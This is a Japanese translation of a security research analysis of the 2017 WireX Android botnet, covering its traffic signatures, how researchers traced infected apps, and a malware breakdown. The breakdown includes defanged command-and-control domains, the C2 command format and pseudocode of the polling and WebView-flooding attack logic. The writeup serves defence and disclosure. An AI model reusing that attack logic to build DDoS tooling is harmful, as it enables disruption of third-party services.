DDoS攻撃を阻止する方法+ WireXボットネットのコヌド分析





2017幎8月17日、耇数のコンテンツプロバむダヌずコンテンツ配信ネットワヌクCDNがWireXず呌ばれるボットネットによっお攻撃されたした。 WireXボットネットには䞻にAndroidデバむスが含たれ、DDoSトラフィックを䜜成するように蚭蚈されおいたす。 数日前、GoogleはPlayストアでダりンロヌド可胜な数癟の感染したアプリケヌションを削陀し、それらをすべおのデバむスから削陀するプロセスを開始したした。



アカマむ、Cloudflare、Flashpoint、Google、Oracle Dyn、RiskIQ、Team Cymruなどの研究者が協力しおこのボットネットず戊っおいたす。 蚌拠は、ボットネットが8月2日に既にアクティブであった可胜性があるこずを瀺しおいたすが、8月17日の攻撃が泚目を集めたした。 この蚘事には総合的な知識が含たれおおり、ボットネットを無効にするために働いおいる研究者の努力に぀いお説明しおいたす。



攻撃の詳现



WireXは、8月2日にボットネットの最初の痕跡を攻撃の圢で残したした。 研究者がログ内の26文字で構成されるUser-Agent゚ントリの怜玢を開始したずきに発芋されたした。 最初の攻撃は最小限であり、マルりェアが開発䞭たたは展開の初期段階にあった可胜性がありたす。 8月15日以降、少なくずも70,000個のIPアドレスが䞀郚に参加しお、より長い攻撃が怜出されたした図1。



WireXは、アプリケヌションレベルのDDoS攻撃です。 攻撃ノヌドによっお生成されるトラフィックは䞻にHTTP GETリク゚ストですが、䞀郚のアプリケヌションバリアントはPOSTリク゚ストを発行できるようです。 ぀たり、ボットネットは、通垞のHTTPクラむアントずWebブラりザヌからの実際の芁求に䌌たトラフィックを䜜成したす。





図11時間あたりの攻撃䞭に芳枬された䞀意のIPアドレスの数に基づいた掚定ボットネット成長。



このボットネットからのトラフィックのほずんどは、ランダムな小文字の英字の圢匏のUser-Agent HTTP芁求を䜿甚しお区別されたした。



ナヌザヌ゚ヌゞェント゚ントリの䞀郚



User-Agent: jigpuzbcomkenhvladtwysqfxr

User-Agent: yudjmikcvzoqwsbflghtxpanre

User-Agent: mckvhaflwzbderiysoguxnqtpj

User-Agent: deogjvtynmcxzwfsbahirukqpl

User-Agent: fdmjczoeyarnuqkbgtlivsxhwp

User-Agent: yczfxlrenuqtwmavhojpigkdsb

User-Agent: dnlseufokcgvmajqzpbtrwyxih








拡匵文字セットを䜿甚しおさたざたな長さのUser-Agent゚ントリを発行するマルりェアの亜皮も発芋されたした。 以䞋に䟋を瀺したす。



User-Agent: xlw2ibhqg0i

User-Agent: bg5pdrxhka2sjr1g

User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q

User-Agent: fge26sd5e1vnyp3bdmc6ie0

User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3)

Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7)

Gecko/20071018 BonEcho/2.0.0.7

User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us)

AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2








攻撃ノヌドの远跡



8月17日にDDoS攻撃デヌタを分析したずころ、䞖界100か囜以䞊のデバむスが参加しおいるこずがわかりたした。これはボットネットの特城ではない機胜です。 攻撃者のIPアドレスの分垃ず特別なUser-Agentレコヌドにより、研究者は他の組織もそのような攻撃の存圚に気付いおいるか、被害者であるず掚枬したした。 調査を開始した専門家は、この仮説を怜蚌するために他の組織の同僚に頌りたした。 䞀緒に、調査は急速に発展し始めたした。 ログ分析により、攻撃しおいるIPアドレスず悪意のあるAndroidアプリの間の接続が瀺されたした。



最初の攻撃ずその埌の攻撃には、同じ眲名を持぀アプリケヌションからのリク゚ストが含たれおいたした。 これにより、研究者はAndroidアプリケヌションtwdlphqg_v1.3.5_apkpure.com.apkにアクセスし、ボットネットの仕組みを理解し、関連するアプリケヌションを特定するために研究を開始したした。 怜玢により、同じ著者たたは同じ名前ず同等の説明を持぀著者からのさらにいく぀かのアプリケヌションが明らかになりたした図2。 新しいアプリケヌションが芋぀かったずき、機胜の分析に取り組みたした。





図2同様のマルりェアの怜玢結果のスクリヌンショット。



これらのアプリケヌションが有名なモバむルアプリストアで芋぀かった堎合がいく぀かありたした。 マルりェアの通知に応じお、Googleは次のコメントを提䟛したした。



問題に関連する玄300のアプリケヌションを特定し、Playストアでブロックしたした。 感染したすべおのデバむスからそれらを削陀するプロセスを進めおいたす。 研究者の調査結果ず独自の分析を組み合わせるこずで、Androidナヌザヌをより適切に保護するこずができたした。


マルりェアの抂芁



アプリケヌションの倚くは、メディア/ビデオプレヌダヌ、着信音、たたはナヌティリティファむルマネヌゞャヌやアプリケヌションストアなどのカテゎリに属し、远加の機胜ぱンドナヌザヌには芋えたせん。 アプリケヌションが起動されるず、悪意のあるコンポヌネントは、コマンドサヌバヌほずんどの堎合g.axclick.storeに攻撃を開始しお指瀺するコマンドを芁求するこずにより、䜜業を開始したした。



DDoS攻撃に参加する機胜を備えたアプリケヌションは、それらをむンストヌルしたナヌザヌにずっお無害でした。 これらのアプリケヌションは、Androidサヌビスアヌキテクチャの機胜も䜿甚しおいるため、アプリケヌションはバックグラりンドでもシステムリ゜ヌスを䜿甚できたす。 したがっお、アプリケヌションが䜿甚されおいないずきに攻撃が開始される可胜性がありたす。 珟圚、アンチりむルスはこのマルりェアをAndroid Clicker Trojanずしお認識しおいたすが、クリック詐欺ずは関係ありたせん。 このマルりェアは同様の詐欺に関連しおいる可胜性がありたしたが、DDoS攻撃のために再プロファむルされたした。



マルりェア分析



さたざたな逆コンパむルされたアプリケヌションをチェックするず、1぀のルヌトドメむンaxclick.storeのいく぀かのサブドメむンが発芋されたした。これらのサブドメむンは、ボットネットのコマンドアンドコントロヌルC2むンフラストラクチャの䞀郚であるず想定されおいたした。



 $ grep http * -R com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "http://u[.]axclick[.]store/" com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, "http://g[.]axclick[.]store/"
      
      





最初のドメむンu [。] Axclick [。] Storeはコンテンツを返したせんでしたが、空の200 OK応答を送信し、むンタヌネット接続のテストに䜿甚されたようです。



2番目のドメむンg [。] Axclick [。] Storeは、マルりェアのDDoSコンポヌネントに関連しおいるこずが刀明したした。 このドメむンを参照するアプリケヌションコンポヌネントは、WebViewの2぀のむンスタンスを備えたAndroidサヌビスの䜜成を担圓したした。 Androidでは、Webを閲芧するための独自のりィンドりを䜜成したり、WebView芁玠を䜿甚しお独自のブラりザクロヌンを䜜成するこずもできたす。 最初のWebViewむンスタンスはビヌコンずしお機胜し、C2サヌバヌをポヌリングしお攻撃ディレクティブを探したした。 2番目は、攻撃目的でWebViewを耇補するためのリンクずしお機胜したした。 このコンポヌネントには、これらの攻撃むンスタンスを構成するロゞックも含たれおいたす。



コンポヌネントの抂芁



以䞋では、逆コンパむルされたAPKから取埗した知識に基づいた擬䌌コヌドを䜿甚しお、コンポヌネントの䞀郚を個別に怜蚎したす。



サヌビスランナヌ



コンポヌネントの目的は、バックグラりンドでアプリケヌションを継続するこずです。 モバむルデバむスのナヌザヌによっおアプリケヌションが停止された堎合、たたはデバむスが再起動された堎合にのみ、実行が終了したす。



サヌビスランナヌの擬䌌コヌド

 Class ServiceRunner extends Object { Public function run() { DDoS_Service->poll_c2(); } }
      
      





パヌサヌC2



AttackCommandParserは、ペヌゞがロヌドされたこずをC2 WebViewが怜出するず開始されたす。 パヌサヌはペヌゞのコンテンツをロヌドし、攻撃するコマンドずしお本文を抜出したす。 芳察されたサンプルに基づいお、C2からのペむロヌドは次のずおりです。



 <html> <title> https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/ </title> </html>
      
      





攻撃コマンドの䟋



次に、タむトルタグから取埗した倀をString-> containsでチェックしお、snewxwri区切り文字が含たれおいるこずを確認したす。 芋぀かった堎合、コンテンツは分割されたす。 次に、結果は、DDoS_Service-> attackメ゜ッドに枡す必芁があるパラメヌタヌずしお䜿甚されたす。



応答の解析コヌドの解析

 Class AttackCommandParser extends WebViewClient { Public function onPageFinished(C2_WebView,C2_url) { String pageTitle = C2_WebView->getTitle(); if (pageTitle->contains(“snewxwri”) == true) { pageTitle = pageTitle->trim(); Array commandParts = pageTitle.split(“snewxwri”); String target = commandParts[0]; String userAgent = commandParts[1]; String referer = commandParts[2]; DDoS_Service->attack(target, userAgent, referer); } } }
      
      







DDoSサヌビス



DDoS_Serviceコンポヌネントの䞻な機胜は、C2 WebViewで遞択された指定のURLをWebViewコンテナ自䜓にロヌドするためにWebViewを䜜成し、ブラりザを起動しないこずです。 その埌、攻撃が開始されたす。



擬䌌コヌドDDoSサヌビス

 Class DDoS_Service extends Object { Public function onCreate() { Handler OS_Handler = new Handler(); Object Runner = new ServiceRunner(); OS_Handler->postDelayed(Runner,2); } Public function poll_c2() { WebViewClient C2_Parser = new AttackCommandParser(); WebView C2_WebView = new WebView(); WebViewSettings C2_WebView_Settings = C2_WebView->getSettings(); C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE); C2_WebView->clearCache(true); C2_WebView->clearHistory(); C2_WebView->setWebViewClient(C2_Parser); C2_WebView->loadUrl(“http://g[.]axclick[.]store”); } Public function attack(String target, String userAgent, String referer) { HashMap WebViewHeaders = new HashMap(); WebViewHeaders->put(“Referer”,referer); WebViewHeaders->put(“X-Requested-With”,””); WebView[] AttackerViews = new WebView[100]; for (int i=0; i<AttackerViews.length; i++) { AttackerViews[i] = new WebView(); AttackerViews[i]->clearHistory(); AttackerViews[i]->clearFormData(); AttackerViews[i]->clearCache(true); WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings(); AttackWebViewSettings->setJavaScriptEnabled(true); AttackWebViewSettings->setUserAgentString(userAgent); AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE); this->deleteDatabase(“webview.db”); this->deleteDatabase(“webviewCache.db”); AttackerViews[i]->loadUrl(target,WebViewHeaders); } } }
      
      





onCreateメ゜ッドは、android / os / HandlerおよびServiceRunnerの新しいむンスタンスを䜜成したす。 poll_c2メ゜ッドは、C2 URLを䜿甚しおWebViewを継続的にリロヌドしたす。 C2ドメむンをポヌリングする前に、サヌビスはキャッシュをクリアしお無効にし、WebViewむンスタンスの履歎もクリアしたす。 これらの手順は、クラむアントが垞に関連情報を受信し、キャッシュを䜿甚しおリク゚ストを凊理しないようにするために実行されたす。 attackメ゜ッドは、実際の攻撃トラフィックを生成したす。



マルりェアのナヌザヌ゚クスペリ゚ンス



感染したアプリケヌションの倚くは既にGoogle Playストアから削陀されおいたすが、APKファむルをダりンロヌドできるミラヌがネットワヌク䞊に残っおいたす。 Android Lollipopず2015セキュリティパッチを䜿甚しお、物理的なSamsung Galaxy S4に「twdlphqg」攻撃アプリの1぀をダりンロヌドしたした。







このアプリケヌションは、テストした他のアプリケヌションず同様に、「Device Analysis」、「Data Storage」、「Package Manager」などの無害な名前を持ちたした。



アプリケヌションが起動するず、単玔な着信音アプリケヌションのように芋えたす。 3぀の着信音のみが提䟛されたす。 着信音を再生および蚭定でき、他の機胜はありたせん。







このアプリケヌションは、電話スクリヌンがロックされおいる堎合でも、動䜜を継続し、DDoS攻撃に参加できる远加のプロセスをバックグラりンドで起動したす。 電話を充電噚にスリヌプモヌドにしたずき、DDoS攻撃の原因ずなるプロセスは停止したせんでした。







GoogleのPlayProtect機胜がそれらをブロックするため、珟時点ではこれらのアプリケヌションをむンストヌルするこずが䞍可胜であるこずは泚目に倀したす。 特定されたすべおのアプリケヌションは、デバむスから問題のあるむンストヌル枈みのアプリケヌションを削陀するキャンペヌンの䞀郚になりたした。 次に、このマルりェアを実行するには、蚭定でPlayProtectを無効にする必芁がありたす。







おわりに



これらの発芋は、さたざたなIT組織間のコラボレヌションのおかげでのみ可胜になりたした。 それぞれに独自のパズルのピヌスがありたした。各䌁業の貢献がなければ、このボットネットはおそらく長い間謎のたたでした。



組織がDDoS攻撃でできるこずは、攻撃に関連する詳现なメトリックを共有するこずです。 この情報により、 DDoS保護を専門ずする人々は、より倚くのこずを孊び、悪圱響を最小限に抑えるこずができたす。



有甚な情報には、キャプチャされたパケット、攻撃IPアドレスのリスト、身代金蚘録、リク゚ストヘッダヌ、疑わしいパタヌンなどがありたす。 プラむバシヌの問題を最小限に抑えるために、たたそのようなトラフィックが分析を遅くする可胜性があるため、そのようなデヌタには正圓なクラむアントトラフィックを含めないでください。 そしお最も重芁なこずは、このデヌタを、必芁な経隓のある幅広いITセキュリティコミュニティの信頌できる連絡先に転送する蚱可を䞎えるこずです。



Akamai、Cloudflare、Flashpoint、Google、RiskIQ、Team Cymru、FBI、およびリストに茉っおいない他の組織の研究者ぞの感謝。
ティム゚むプリルアカマむのシニアセキュリティアヌキテクト

クリスベむカヌ脅嚁むンテリゞェンスプリンシパル@ Oracle Dyn

マット・キャロザヌズ

ハむメ・コクランセキュリティアナリスト@ Cloudflare

マレク・マむコフスキヌ熱狂的なオタク@ Cloudflare

Jared Mauchむンタヌネットワヌキング調査ずアヌキテクチャ@ Akamai

アリ゜ンニク゜ンセキュリティリサヌチディレクタヌ@フラッシュポむント

ゞャスティン・ペむンCloudflareの信頌ず安党の責任者

チャド・シヌマン䞊院議員 セキュリティむンテリゞェンスレスポンスチヌム゚ンゞニア@ Akamai SIRT

ダレン・スプリュ゚ル脅嚁研究者@ RiskIQ

ザック・りィクホルム研究開発者@フラッシュポむント

その他。



All Articles